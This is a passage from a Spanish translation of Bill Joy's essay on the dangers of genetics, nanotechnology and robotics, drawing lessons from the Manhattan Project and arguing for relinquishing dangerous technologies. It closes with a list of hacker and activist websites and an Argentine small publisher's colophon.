sión del orden natural de la vida, y de la necesidad de vivir junto a ese
orden, respetándolo. Este respeto conlleva una necesaria humildad de
la que nosotros, en nuestra fiebre de comienzos del siglo XXI, carecemos
peligrosamente. La visión de sentido común, basada en este respeto,
suele tener razón, incluso antes de la evidencia científica. La evidente
fragilidad e ineficiencias de los sistemas humanos que hemos construi-
do debería obligarnos a hacer una pausa; ciertamente la fragilidad de
los sistemas en los que he trabajado me ha tornado más humilde.

Deberíamos haber aprendido una lección de la fabricación de la
primera bomba nuclear y de la carrera armamentística. No actuamos
bien esa vez, y los paralelismos con nuestra situación actual son pro-
blemáticos. El esfuerzo por construir la primera bomba atómica fue li-
derado por el brillante físico J. Robert Oppenheimer. Oppenheimer no
estaba interesado en la política pero tomó conciencia de lo que percibía
como una amenaza para la civilización Occidental proveniente del
Tercer Reich, una amenaza seguramente grave debido a la posibilidad
de que Hitler obtuviera armas nucleares. Motivado por este temor, llevó
a Los Álamos su poderoso intelecto, su pasión por la física y su habili-
dad de líder carismático, y condujo los esfuerzos rápidos y exitosos de
un sorprendente grupo de brillantes seres para inventar la bomba.

Lo llamativo es cómo el trabajo prosiguió con tanta naturalidad
después de que hubiera desaparecido el motivo inicial. En una reunión
poco después del Día V-E con algunos físicos que sentían que quizás se
debería detener la investigación, Oppenheimer argumentó que había
que continuar. La razón que dio parece algo extraña: no por temor a
grandes bajas en una invasión a Japón, sino porque las Naciones
Unidas, que estaban próximas a formarse, debían tener prioridad en el
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conocimiento de las armas atómicas. Un motivo más probable por el
que debía continuar el proyecto es el punto al que había llegado –la
primera prueba atómica, Trinity, estaba casi al alcance de la mano.

Sabemos que al preparar esta primera prueba atómica, los físicos
procedieron pese a un gran número de posibles peligros. Se preocu-
paron inicialmente, en base a cálculos realizados por Edward Teller, de
que una bomba atómica pudiera incendiar la atmósfera. Un nuevo cál-
culo redujo el peligro de destruir el mundo a una posibilidad de tres en
un millón (Teller dice que luego pudo descartar por completo un even-
tual incendio atmosférico). Oppenheimer, sin embargo, estaba lo sufi-
cientemente preocupado por el resultado de Trinity como para hacer
arreglos para una posible evacuación de la parte sur oeste del estado de
Nuevo México. Y, por supuesto, estaba el peligro de disparar una ca-
rrera armamentística.

A lo largo del mes siguiente a esa primera, y exitosa, prueba, dos
bombas destruyeron Hiroshima y Nagasaki. Algunos científicos
sugirieron que la bomba sólo fuera exhibida, en lugar de arrojarla sobre
ciudades japonesas –decían que así se mejorarían las posibilidades para
el control de armas luego de la guerra, pero no se los tuvo en cuenta.
Con la tragedia de Pearl Harbor fresca todavía en la cabeza de los esta-
dounidenses, hubiera sido muy difícil para el Presidente Truman
ordenar una demostración de las armas en vez de usarlas como lo hizo
–el deseo de terminar rápidamente con la guerra y salvar las vidas que
se hubieran perdido en cualquier invasión a Japón era demasiado
fuerte. Y sin embargo la verdad era probablemente muy simple: como
luego dijo el físico Freeman Dyson, “La razón por la que se lanzó fue
que nadie tuvo el coraje o la previsión de decir no.”

Es importante darse cuenta de lo shockeados que estuvieron los
físicos en los momentos posteriores a la bomba de Hiroshima, el 6 de
agosto de 1945. Hablan de varios estados de emoción: primero, satisfac-
ción porque la bomba funcionaba; después horror por todas las per-
sonas que habían muerto; después el sentimiento convencido de que
bajo ninguna razón debía arrojarse otra bomba. Sin embargo, por
supuesto, otra bomba fue arrojada, en Nagasaki, a sólo tres días del
bombardeo de Hiroshima. 

En noviembre de 1945, tres meses después de los bombardeos con
armas atómicas, Oppenheimer se amparó en la actitud científica, dicien-
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do, “No es posible ser científico a menos que se crea en que el
conocimiento del mundo, y el poder que éste conlleva, es algo de valor
intrínseco para la humanidad, y en que uno lo está usando para pro-
mover la difusión del conocimiento y está dispuesto a soportar las con-
secuencias.”

Oppenheimer siguió adelante trabajando, junto a otros, en el
informe Acheson-Lilienthal que, como describe Richard Rhodes en su
reciente libro Visions of Technology, “halló una manera de prevenir una
carrera armamentística clandestina sin acudir a un gobierno mundial
equipado con armas”; su recomendación fue algo parecido a entregar el
trabajo sobre armas nucleares a una agencia internacional.18

Esta propuesta condujo al Plan Baruch, que fue enviado a las Nacio-
nes Unidas en junio de 1945, pero que nunca se adoptó (quizás porque,
como Rhodes sugiere, Bernard Baruch insistió en “recargar el plan de
sanciones convencionales”, haciéndolo así inviable, más allá de que
“casi con seguridad hubiera sido rechazado por la Rusia estalinista”).
Otros esfuerzos por promover avances serios hacia una internaciona-
lización del poder nuclear para prevenir una carrera armamentística se
detuvieron, ya sea ante la falta de acuerdo político y la desconfianza
interna de EE.UU., o ante la desconfianza de los soviéticos. La oportu-
nidad de evitar la carrera armamentística se perdió, y muy rápido. 

Dos años después, en 1948, Oppenheimer pareció haber llegado a
otra etapa en su pensamiento, diciendo que, “en algún sentido muy
básico que ninguna vulgaridad, ni broma, o sobreentendido pueden
atenuar, los físicos han conocido el pecado; y este es un saber que no
pueden perder.”

En 1949 los soviéticos detonaron una bomba atómica. Para 1955,
soviéticos y norteamericanos, ambos, habían probado bombas de
hidrógeno aptas para ser lanzadas desde un avión. Y entonces empezó
la carrera armamentística.

Hace 20 años, en el documental The Day After Trinity, Freeman
Dyson repasó las actitudes científicas que nos llevaron al precipicio
nuclear:
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18. Visions of technology: a century of vital debate about machines, systems, and the human
world. New York, Simon & Schuster, 1999. (N. del E.)
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Lo he sentido yo mismo. El brillo seductor de las armas nucleares.
Es irresistible si te acercas a ellas como científico. Sentir que está ahí en
tus manos, liberar esta energía que alimenta a las estrellas, hacer que si-
ga tus planes. Ejecutar estos milagros, elevar un millón de toneladas de
rocas al cielo. Es algo que le da a las personas una ilusión de poder ili-
mitado, y es, en algún sentido, responsable de todos nuestros proble-
mas –esto, que podrías llamar arrogancia tecnológica, y que se apodera
de las personas cuando ven lo que pueden hacer con sus mentes.19

Ahora, como entonces, somos creadores de nuevas tecnologías y
estrellas del futuro imaginado, impulsados –esta vez por grandes re-
compensas financieras y una competencia global– pese a los claros peli-
gros, evaluando apenas lo que sería intentar vivir en un mundo que
fuera el resultado realista de lo que estamos creando e imaginando.

En 1947, The Bulletin of the Atomic Scientist empezó a poner un Reloj
de Fin de los Tiempos en su portada. Por más de 50 años, ha mostrado
una estimación del peligro nuclear relativo que hemos enfrentado, refle-
jando las variaciones de las condiciones internacionales. Las manecillas
del reloj se han movido 15 veces y hoy, detenidas a nueve minutos de la
medianoche, reflejan el peligro real y continuo de las armas nucleares.
La reciente inclusión de India y Pakistán en la lista de potencias nuclea-
res ha incrementado la amenaza de fracaso de las metas de no proli-
feración, y esto se reflejó moviendo las agujas más cerca de la me-
dianoche en 1998.

En nuestro tiempo, ¿a cuánto peligro nos enfrentamos, no ya de
armas nucleares, sino de todas estas tecnologías? ¿Qué tan altos son los
riesgos de extinción?

El filósofo John Leslie ha estudiado el tema y llegó a la conclusión
de que el riesgo de extinción humana es al menos del 30 por ciento,20

mientras que Ray Kurzweil cree que tenemos “una chance mejor que
nunca de superar nuestros problemas”, con la advertencia de que
“siempre he sido acusado de optimista.” No sólo no son alentadoras

19. Else, Jon, The Day After Trinity: J. Robert Oppenheimer and The Atomic Bomb
(disponible en http://www.pyramiddirect.com/).
20. Esta estimación está en el libro de [John] Leslie, The End of the World: The Science
and Ethics of Human Extinction, donde señala que la probabilidad de extinción, es
sustancialmente mayor si aceptamos el argumento del Fin del Mundo de Brandon
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estas previsiones, sino que no incluyen la probabilidad de muchos
resultados terroríficos que acercan la extinción.

Puestas ante estas evaluaciones, algunas personas muy serias ya
están sugiriendo sencillamente dejar la Tierra lo más rápido posible.
Podríamos colonizar la galaxia usando los modelos de Von Neumann,
que van de sistema a sistema solar, replicándose cada vez. Este paso será
necesario, ciertamente, en 5 mil millones de años (o antes si nuestro sis-
tema solar recibe demasiado mal el impacto retardado de nuestra gala-
xia con la galaxia de Andrómeda en los futuros 3 mil millones de años),
pero si leemos literalmente a Kurzweil y Moravec podría ser necesario
a mediados de este siglo.

¿Cuáles son aquí las implicaciones morales? Si debemos dejar la
Tierra así de rápido para que la especie pueda sobrevivir, ¿quién acep-
ta la responsabilidad por el destino de aquellos (la mayoría de nosotros,
después de todo) que sean dejados atrás? E incluso si nos dispersamos
por las estrellas, ¿no es probable que nos llevemos nuestros problemas
con nosotros, o que hallemos, luego, que nos han venido siguiendo? El
destino de nuestra especie en la Tierra y nuestro destino en la galaxia
aparecen ligados inextricablemente.

Otra idea es erigir una serie de escudos para defendernos ante cada
una de las tecnologías peligrosas. La Iniciativa de Defensa Estratégica,
propuesta por el gobierno de Reagan, fue un intento de diseñar un escu-
do de ese tipo contra la amenaza de ataque nuclear desde la Unión
Soviética. Pero Arthur C. Clarke que colaboró en la discusión del
proyecto, observaba: “Aunque sería posible, a un gran costo, construir
sistemas de defensa local que dejarían pasar ‘solamente’ unos bajos por-
centajes de mísiles enemigos, la idea más promocionada de un paraguas
nacional no tenía sentido. Luis Álvarez, quizás el físico experimental
más importante del siglo, me señaló que los defensores de tales pro-
puestas eran ‘tipos muy inteligentes sin sentido común’.”

Carter, que consiste, brevemente, en que “debemos sentir cierto rechazo a creer que
estamos entre los primeros, por ejemplo entre el primer 0,001 por ciento de todos
los humanos que algún día habrán de vivir. Con esto podemos pensar que la
humanidad no sobrevivirá muchos siglos más, ya no hablemos de colonizar la
galaxia. El argumento del Fin del Mundo de Carter no genera estimaciones de ries-
go por sí mismo. Su fin es revisar las estimaciones que realizamos cuando consi-
deramos los diversos peligros posibles.” (London, Routledge, 1996. pp. 1, 3, 145.)
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Clarke seguía: “Mirando en mi muy a menudo nubosa bola de
cristal, sospecho que una defensa total sería posible en un siglo, más o
menos. Pero la tecnología involucrada generaría, como subproducto,
armas tan terribles que nadie se molestaría por nada tan primitivo como
mísiles balísticos.”21

En Engines of Creation, Eric Drexler proponía que construyéramos
un escudo nanotecnológico activo –una suerte de sistema inmunológico
para la biosfera– para defendernos de cualquier replicador peligroso,
que pudiera escaparse de laboratorios o fuera creado maliciosamente.
Pero el escudo que proponía sería enormemente peligroso en sí mismo
–nada evitaría que desarrollara problemas de autoinmunidad y atacara
él mismo la biosfera.22

Dificultades similares se aplican a la construcción de “escudos”
contra la ingeniería genética y de robots. Estas tecnologías son dema-
siado poderosas para crear escudos contra ellas en los lapsos de tiempo
en cuestión; incluso si fuera posible implementar escudos defensivos,
los efectos colaterales de su desarrollo serían al menos tan peligrosos
como las tecnologías de las que estamos tratando de protegernos.

Estas posibilidades son todas no deseables, impracticables o ambas
cosas. La única alternativa realista que veo es la abstención: limitar el
desarrollo de las tecnologías que son demasiado peligrosas, limitando
nuestra búsqueda de ciertos tipos de conocimiento.

Sí, ya sé, el conocimiento es bueno, ya que es la búsqueda de nuevas
verdades. Hemos estado en busca del conocimiento desde los tiempos
antiguos. Aristóteles empezó su Metafísica con el sencillo enunciado:
“Todos los hombres por naturaleza desean conocer.” Desde hace tiem-
po, como base de consenso en nuestra sociedad, hemos acordado
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21. Clarke, Arthur C., “Presidents, Experts, and Asteroids”, en Science, 5 de junio
de 1998. Republicado como “Science and Society”, en Greetings, carbon-based bipeds!
Collected Essays, 1934-1998. New York, St. Martin’s Press, 1999.
22. Y, como sugiere David Forrest en su trabajo “Regulating Nanotechnology
Development” [Regulando el Desarrollo de la Nanotecnología], disponible en
http://www.foresight.org/NanoRev/Forrest1989.html/, “Si adoptamos un criterio
de responsabilidad estricta como alternativa a la regulación, sería imposible para
cualquier laboratorio o entidad, internalizar los costos del riesgo (destrucción de la
biosfera), por lo que en teoría, el desarrollo de la nanotecnología nunca debería
emprenderse”. El análisis de Forrest nos deja sólo con la regulación gubernamen-
tal –una idea nada confortable.
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respecto del valor del acceso abierto a la información, y reconocemos los
problemas que conllevan los intentos de restringir su desarrollo y acce-
so. En tiempos recientes, hemos llegado a reverenciar el conocimiento
científico. 

Pero más allá de los sólidos antecedentes históricos, si el acceso
abierto y el desarrollo ilimitado de los conocimientos nos colocan, de
ahora en más, en claro peligro de extinción, entonces el sentido común
demanda que reexaminemos incluso estas creencias básicas, sostenidas
durante largo tiempo.

Fue Nietzsche quien nos advirtió, en el final del siglo XIX, que no
sólo Dios ha muerto sino que “la fe en la ciencia, que pese a todo existe
indudablemente, no puede deber su origen a un cálculo de utilidad;
tiene que haber surgido a expensas del hecho de que la no-utilidad y peli-
grosidad de la ‘voluntad de saber’, de ‘saber a cualquier precio’ sea
puesta a prueba constantemente.” Es este peligro que ahora enfrenta-
mos –las consecuencias de nuestra búsqueda de verdad. La verdad que
busca la ciencia ciertamente puede considerarse un sustituto peligroso
de Dios si implicara ciertas posibilidades de llevarnos a la extinción.

Si pudiéramos ponernos de acuerdo, como especie, sobre lo que
queremos, adónde fuimos encaminados, y por qué, entonces podríamos
hacer mucho menos peligroso nuestro futuro –entonces podríamos
entender a qué podemos y deberíamos abstenernos. De otra manera,
podemos con facilidad imaginar una carrera armamentística lanzán-
dose en torno a las tecnologías GNR, como sucedió con las tecnologías
NBQ en el siglo XX. Este es quizás el riesgo más importante, ya que una
vez iniciada una carrera como esa, es muy difícil detenerla. Esta vez –a
diferencia de lo que pasaba durante el Proyecto Manhattan– no estamos
en guerra, enfrentando un enemigo implacable que amenaza nuestra
civilización; estamos impulsados, en cambio, por nuestros hábitos,
nuestros deseos, nuestro sistema económico y nuestra necesidad com-
petitiva de saber.

Creo que todos deseamos que nuestro rumbo esté definido por
nuestros valores colectivos, éticos y morales. Si hubiéramos logrado más
sabiduría colectiva en los pasados miles de años, entonces un diálogo en
este sentido resultaría más práctico, y los increíbles poderes que esta-
mos por liberar no serían tan problemáticos. 
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Uno pensaría que seríamos llevados a ese diálogo movidos por
nuestro instinto de preservación. Los individuos tienen claramente este
deseo, sin embargo como especie, nuestro comportamiento parece no
jugarnos a favor. Al resolver las amenazas nucleares, muchas veces nos
hablamos de manera mentirosa a nosotros mismos, y a los demás, incre-
mentando en gran medida los riesgos. Sea que esto estuviera motivado
políticamente, o porque elegimos no pensar las proyecciones, o porque
al enfrentarnos con amenazas tan graves actuamos con una falta de
temor irracional, no lo sé, pero no nos llevó a un buen desenlace. 

Las nuevas cajas de Pandora de la genética, la nanotecnología y la
robótica están casi abiertas, pero pareciera que nosotros apenas nos
damos cuenta. Las ideas no pueden ser vueltas a poner en una caja; a
diferencia del uranio o el plutonio, no necesitan ser enterradas o
tratadas químicamente, y pueden copiarse libremente. Una vez que
salieron, salieron. Churchill destacó una vez, en una famosa frase, que
los norteamericanos y sus líderes “invariablemente hacen lo correcto,
una vez que examinaron todas las demás alternativas”. En este caso, sin
embargo, debemos actuar con mayor previsión, pues hacer lo correcto
recién al final puede significar perder definitivamente la oportunidad
de hacerlo.

Como dijo Thoreau, “Nosotros no vamos montados en los rieles,
son los rieles los que van montados en nosotros”; y ésto es lo que debe-
mos combatir en nuestros tiempos. La pregunta es, de hecho, ¿quién va
a ser el que ponga el rumbo? ¿Sobreviviremos a nuestras tecnologías?

Estamos siendo arrojados a este nuevo siglo sin ningún plan, con-
trol o freno. ¿Hemos ido ya demasiado lejos en el camino como para
cambiar el rumbo? Yo no lo creo, pero aún no estamos intentándolo, y
la última oportunidad de retomar el control –el punto de no retorno– se
acerca rápidamente. Tenemos nuestros primeros robots mascotas, así
como técnicas de ingeniería genética disponibles en el mercado, y nues-
tra técnica a nanoescala mejora rápidamente. Mientras que el desarro-
llo de esas tecnologías procede a través de una serie de pasos, no es
necesariamente el caso –como sucedió en el Proyecto Manhattan y la
prueba de Trinity– de que el último paso en una tecnología de prueba
sea largo y arduo. El salto que posibilite la auto-replicación salvaje en
robótica, ingeniería genética o nanotecnología podría darse repentina-
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mente, reviviendo la sorpresa que sentimos cuando supimos de la
clonación de un mamífero.

Y sin embargo yo creo que tenemos una firme y sólida base para la
esperanza. Nuestros intentos de lidiar con armas de destrucción masiva
en el último siglo nos proveen un reluciente ejemplo de abstención para
considerar: el abandono unilateral de EE.UU., sin prerrequisitos, del
desarrollo de armas biológicas. Este abandono se basó en la toma de
conciencia del hecho de que mientras que significaría un enorme esfuer-
zo crear estas terribles armas, podrían, a partir de entonces, ser fácil-
mente reproducidas y caer en manos de naciones hostiles o de grupos
terroristas. La clara conclusión fue que desarrollar estas armas crearía
peligros adicionales para nosotros, y que estaríamos más seguros si no
las desarrollábamos. Hemos reafirmado nuestra abstención de las
armas biológicas y químicas en la Convención sobre Armas Biológicas
de 1972 (Biological Weapons Convention, BWC) y en la Convención
sobre Armas Químicas de 1993 (Chemical Weapons Convention,
CWC).23

En cuanto al aún considerable riesgo de amenaza por armas
nucleares, con el que hemos vivido por más de 50 años, el reciente re-
chazo del Senado al Tratado Extenso de Prohibición de Pruebas deja en
claro que la abstención al uso de armas nucleares no será políticamente
fácil. Pero tenemos una oportunidad única, con el fin de la Guerra Fría,
de prevenir una carrera armamentística multipolar. Construir, a partir
de la abstención de la BWC y la CWC, una abolición exitosa de las
armas nucleares, podría ayudarnos a crear un hábito de abstención a las
tecnologías peligrosas (de hecho, si reducimos a 100 el número de todas
las armas nucleares en el mundo –lo que sería equivalente al poder des-
tructivo total de la Segunda Guerra Mundial, una meta considerable-
mente más sencilla– podríamos eliminar este riesgo de extinción).24

Supervisar la abstención será un problema difícil, pero no insupe-
rable. Tenemos suerte de haber hecho ya mucho trabajo relevante en el
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23. Meselson, Matthew, “The Problem of Biological Weapons”, presentación en la
Reunión de la American Academy of Artes and Science [Academia de Artes y
Ciencias de EE.UU.], 13 de enero de 1999 (ver
http://www.pugwash.org/reports/cbw/cbw5.htm/). 
24. Doty, Paul, “The Forgotten Menace: Nuclear Weapons Stockpiles Still
Represents the Biggest Threat to Civilization”, en Nature, Nº 402, 9 de diciembre
de 1999, p. 583.
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marco de la BWC y otros tratados. Nuestra tarea más importante será
aplicar esto a tecnologías que son naturalmente mucho más comerciales
que militares. La necesidad fundamental aquí es de transparencia, pues
la dificultad de supervisión es directamente proporcional a la dificultad
de distinguir entre actividades para la abstención y actividades legíti-
mas.

Francamente creo que la situación en 1945 era más simple que la
que enfrentamos ahora: las tecnologías nucleares eran pasibles de ser
razonablemente separadas entre sus usos comerciales y sus usos
militares, y el monitoreo era ayudado por la naturaleza de las pruebas
atómicas y la facilidad con que la radioactividad podía medirse. La
investigación de aplicaciones militares podía realizarse en laboratorios
nacionales como Los Álamos, con los resultados mantenidos bajo secre-
to tanto tiempo como fuera posible.

Las tecnologías GNR no se dividen abiertamente entre usos comer-
ciales y militares; dado su potencial en el mercado, es difícil imaginar su
desarrollo sólo en laboratorios nacionales. Con sus dilatados márgenes
para el uso comercial, supervisar la abstención requerirá un régimen de
supervisión similar al de las armas biológicas, pero en una escala sin
precedentes. Ésto, inevitablemente, producirá tensiones entre nuestra
privacidad individual, nuestro deseo de información registrada por
copyright, y la necesidad de supervisión para protegernos a todos. Sin
duda encontraremos grandes resistencias a esta pérdida de privacidad
y de libertad de acción. 

La supervisión de la abstención a ciertas tecnologías GNR deberá
tener lugar en el ciberespacio tanto como en lugares físicos. El tema
crítico será hacer aceptable la necesaria transparencia en un mundo de
información basada en el derecho de propiedad, presumiblemente
creando nuevas formas de protección de la propiedad intelectual.

Supervisar la aplicación también requerirá que científicos e inge-
nieros adopten un rígido código ético de conducta, similar al juramento
hipocrático, y tengan el coraje personal de avisar cuando sea necesario,
incluso en situaciones de alto costo para sí mismos. Ésto respondería al
llamado que hizo –50 años después de Hiroshima– el premio Nobel
Hans Bethe, uno de los más destacados de los miembros sobrevivientes
del Proyecto Manhattan, a que todos los científicos “cesen y desistan de
trabajar en la creación, desarrollo, mejora y mantenimiento de armas



nucleares y otras armas potenciales de destrucción masiva”.25 En el
siglo XXI, esto requiere de vigilancia y responsabilidad personal de
parte de aquellos que trabajen en tecnologías NBQ y GNR para evitar la
implementación de armas de destrucción masiva y la destrucción masi-
va habilitada por el conocimiento.

Thoreau también dijo que seremos “ricos en proporción al número
de cosas que nos podamos permitir dejar tranquilas.” Todos queremos
ser felices, pero pareciera importante preguntarnos si necesitamos
asumir semejantes riesgos de destrucción total para conseguir todavía
más conocimiento y más cosas; el sentido común nos dice que hay un
límite para nuestras necesidades materiales –y que cierto conocimiento
es demasiado peligroso y es mejor dejarlo pasar. 

Tampoco deberíamos perseguir una semi-inmortalidad sin consi-
derar los costos, sin considerar los sensibles incrementos del riesgo de
extinción. La inmortalidad, siendo quizás el original, ciertamente no es
el único sueño utópico posible.

Hace poco tuve la suerte de conocer al distinguido escritor y cate-
drático Jacques Attali, cuyo libro Lignes d´horizons (Millenium, en la tra-
ducción al inglés) ayudó a inspirar el acercamiento de Java y Jini a la
siguiente era de la computación ubicua.26 En su nuevo libro Fraternités,
Attali describe la manera en que nuestros sueños de utopía han cambi-
ado con el tiempo:

En el despertar de nuestras sociedades, los hombres veían su paso
por la Tierra sólo como un laberinto de dolor, al final del cual se erguía
una puerta que conducía, a través de la muerte, a la compañía de dio-
ses y a la Eternidad. Con los hebreos y después los griegos, algunos
hombres se animaron a liberarse de las demandas teológicas y soñar
una Ciudad ideal donde la Libertad florecería. Otros, percibiendo la
evolución de la sociedad de mercado, comprendieron que la libertad de
algunos conllevaría la alienación de otros, y persiguieron la Igualdad.
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25. Ver también la carta de 1997 de Hans Bethe al presidente Clinton, en
http://www.fas.org/bethecr.htm.
26. Se refiere a sistemas de computación como JAVA y JINI, diseñados para conec-
tar en red a aparatos electrónicos de todo tipo, computadoras, teléfonos, edificios,
etc. (N. del T.)
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Jacques me ayudó a entender cómo estas tres diferentes metas
utópicas hoy coexisten en tensión en nuestra sociedad. Sigue adelante
para describir una cuarta utopía, Fraternidad, cuya base es el altruismo.
La Fraternidad en sí asocia la felicidad individual a la felicidad de los
otros, haciéndose cargo de la promesa de autosustentamiento. 

Esto cristalizó el problema que me producía el sueño de Kurzweil.
Un acercamiento tecnológico a la Eternidad –semi-inmortalidad a través
de la robótica– quizás no sea la utopía más deseable, y su búsqueda con-
lleva grandes peligros. Quizás debamos repensar nuestras elecciones
utópicas.

¿Adónde podemos mirar para hallar una nueva base ética con que
definir el rumbo? Las ideas del libro Ética para el Nuevo Milenio, del Dalai
Lama, me han parecido muy útiles. Como a lo mejor se sabe, pero se
recalca poco, el Dalai Lama afirma que la cosa más importante para
nosotros es llevar nuestras vidas con amor y compasión por los otros, y
que nuestras sociedades necesitan desarrollar nociones más fuertes de
responsabilidad universal y acerca de nuestra interdependencia; pro-
pone un standard de conducta ética positiva para individuos y
sociedades que parece consonante con la utopía de Fraternidad de
Attali.

El Dalai Lama además afirma que debemos comprender qué es lo
que hace feliz a la gente, y tomar conciencia de las firmes evidencias de
que ni el progreso material ni la búsqueda de poder del conocimiento
son la clave –que hay límites para lo que la ciencia y la investigación
científica solas pueden hacer.

Nuestra noción occidental de felicidad parece venir de los griegos,
quienes la definieron como “el ejercicio de poderes vitales a lo largo de
líneas de excelencia, en una vida que promueve su libertad.”27

Ciertamente, necesitamos encontrar desafíos consistentes y sufi-
cientes campos de libertad en nuestras vidas si vamos a ser felices en lo
que sea que nos espera. Pero creo que debemos encontrar vías de escape
alternativas para nuestras fuerzas creativas, más allá de la cultura del
crecimiento económico perpetuo; este crecimiento ha sido una gran ben-
dición por varios cientos de años, pero no nos ha dado una felicidad ca-

27. Hamilton, Edith, The Greek Way. New York, Norton, 1942. p. 35.
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rente de impurezas, y ahora debemos elegir entre perseguir un cre-
cimiento irrestricto y sin dirección a través de la ciencia y la tecnología
y los claros peligros que acompañan a esto. 

Ha pasado más de un año desde mi primer encuentro con Ray
Kurzweil y John Searle. Veo a mi alrededor motivos de esperanza en las
voces de cautela y renuencia y en aquellas personas que he descubierto
que están tan preocupadas como yo acerca de nuestra predica actual.
Tengo, también, un sentimiento de responsabilidad personal más pro-
fundo –no por el trabajo que ya he realizado, sino por el trabajo que
todavía podría realizar, en la confluencia de las ciencias.

Pero muchas otras personas que saben de los peligros todavía per-
manecen extrañamente en silencio. Si se las presiona, sueltan el ya cono-
cido “esto no es nada nuevo” –como si saber lo que podría pasar fuera
suficiente responsabilidad. Me dicen, “hay universidades llenas de
investigadores de bioética que estudian estos temas todo el día”. Dicen
“todo esto ya está escrito de antes, y por expertos”. Se quejan, “tus
preocupaciones y argumentos ya son cosa vieja”.

No sé dónde esconden su temor estas personas. Como arquitecto de
sistemas complejos, entro a esta arena como no-profesional. ¿Pero esto
debería desmerecer mis inquietudes? Estoy al tanto de cuánto se ha
escrito al respecto, hablado al respecto y conferenciado al respecto, con
tanta autoridad. ¿Pero esto quiere decir que le llegó a la gente? ¿Quiere
decir que podemos olvidar los riesgos que nos esperan?

Saber no es una respuesta racional suficiente como para no actuar.
¿Podemos dudar de que el conocimiento se ha vuelto un arma que
manipulamos contra nosotros mismos?

Las experiencias de los científicos atómicos muestran claramente la
necesidad de asumir responsabilidad personal, el peligro de que las
cosas vayan demasiado rápido y la manera en que un proceso puede
cobrar vida propia. Podemos, como hicieron ellos, crear problemas
insuperables en lapsos de tiempo casi nulos. Debemos realizar más tra-
bajo de reflexión si no queremos ser sorprendidos de la misma manera
y shockearnos con las consecuencias de nuestros inventos.

Mi trabajo personal sigue siendo el mejoramiento de la confiabili-
dad del software. El software es una herramienta, y como diseñador de
herramientas debo luchar con los usos a los que se someten las he-
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rramientas que hago. Siempre he creído que hacer más confiable el
software, dados sus múltiples usos, hará del mundo un lugar mejor y
más seguro; si llegara a pensar lo contrario, estaría moralmente obliga-
do a detener mi trabajo. Ahora puedo imaginar que un día así pueda lle-
gar. 

Todo esto no me enoja pero me deja, al menos, un poco melancóli-
co. De aquí en más, el progreso, para mí, será de algún modo agridulce.

¿Recuerdan la hermosa penúltima escena de Manhattan donde
Woody Allen está tirado en su sillón y le habla a un grabador? Relata
una historia sobre personas que se crean a sí mismas problemas innece-
sarios, neuróticos, porque eso los mantiene alejados de afrontar otros
problemas espeluznantes, sin solución, acerca del universo.

Se hace a sí mismo la pregunta, “¿Qué hace que valga la pena vivir
la vida?” y se responde lo que es importante para él: Groucho Marx,
Willie Mays, el segundo movimiento de la sinfonía Júpiter, la grabación
de “Potato Head Blues” de Louis Armstrong, las películas suecas, La
Educación Sentimental de Flaubert, Marlon Brando, Frank Sinatra, las
manzanas y peras de Cézanne, los cangrejos en “Sam Wo” y, por último,
el desenlace: la cara de Tracy, su amor.

Cada uno de nosotros tiene sus cosas preciosas, y al cuidar de ellas
localizamos la esencia de nuestra humanidad. A la larga, es debido a
nuestra gran capacidad para cuidar y proteger que todavía soy opti-
mista de que confrontaremos con los peligrosos temas que tenemos por
delante.

Mi expectativa inmediata es la de participar en una discusión
mucho más amplia sobre los temas tratados aquí, con gente proveniente
de diversas prácticas, con un programa que no se predisponga a temer
o favorecer a la tecnología por su misma razón de ser.

Para empezar, he presentado dos veces estos temas en eventos
organizados por el Aspen Institute y además he propuesto que la
Academia Americana de Artes y Ciencias los tome como una extensión
de su trabajo en las Conferencias Pugwash. (Éstas se han realizado
desde 1957 para discutir el control de armas, en especial de armas
nucleares, y para formular políticas viables.)

Es una lástima que los encuentros Pugwash empezaran recién
cuando el genio ya hubiera salido hace bastante de la botella –unos 15
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años tarde. Nosotros también estamos teniendo una salida retardada
para confrontar con los temas de la tecnología del siglo XXI –la preven-
ción de la destrucción masiva habilitada por el conocimiento–, y ma-
yores retrasos se tornan inaceptables.

Así que todavía estoy investigando; hay muchas más cosas para
aprender. Vayamos a tener éxito o a fracasar; vayamos a sobrevivir o a
caer víctimas de estas tecnologías, no está decidido todavía. Me quedé
despierto hasta tarde otra vez –son casi las 6 AM. Estoy tratando de
imaginar mejores respuestas, de romper el hechizo y liberarlas de la
piedra.

Abril, 2000
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♦ http://www.rastasoft.org/
Página del hacker italiano jaromil. Pueden bajarse los programas que desarro-
lla: HasciiCam, MuSE, FreeJ y dyne:bolic.
♦ sinDominio, http://sindominio.net/ 
Portal del que participan diversos colectivos de acción política de España.
Servidor, entre otras publicaciones, de Suburbia con noticias y debates sobre
política y tecnología. Biblioteca virtual:  http://sindominio.net/biblioweb/.
♦ www.ubik.to
Sitio de Fernando Bonsembiante. Puede bajarse una copia del libro Llaneros
Solitarios y la colección de la revista Virus.
♦ Via Libre, http://vialibre.org.ar/
♦Wired, http://www.wired.com/
Sitio de la revista norteamericana Wired.
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editorafantasma

Argentina, fin del mundo. ¿Qué justifica la utopía de ponerse a editar
libros en el país de los que sobreviven de rescatar el papel de la basura

para venderlo por kilo?
La gente salió a la calle una noche, de repente todo era posible. 

¿Qué quedó de aquellas fechas que parecen sacadas de toda posible 
cronología? ¿Solamente millones de personas que no tienen un plato de

comida para poner a su mesa?
Ya pasó el momento de la euforia. Tenemos que dejar el pesimismo para

tiempos mejores. No hay lugar para el temor ni para la esperanza. 
Sólo cabe buscar nuevas armas.

Fin del mundo. Todo parece volver a la normalidad. La gente aplaude a
los políticos, mira la  televisión, se preocupa por la inseguridad. 

Pero nosotros no somos gente.
Dejémosle al sistema la ilusión de que nada pasa, nada pasó, 

y nada pasará.
Cuando los sueños se llenan con oscuridad vacía y en el aire sólo se

escuchan los ronquidos. Cuando el polvo ya esconde todo rastro de los
cadáveres olvidados en las calles, 

cuando los cuerpos ya no pueden aparecer
es tiempo de fantasmas.

editorafantasma@yahoo.com.ar

En elaboración:
De la huelga salvaje a la autogestión generalizada, de Raoul Vaneigem.






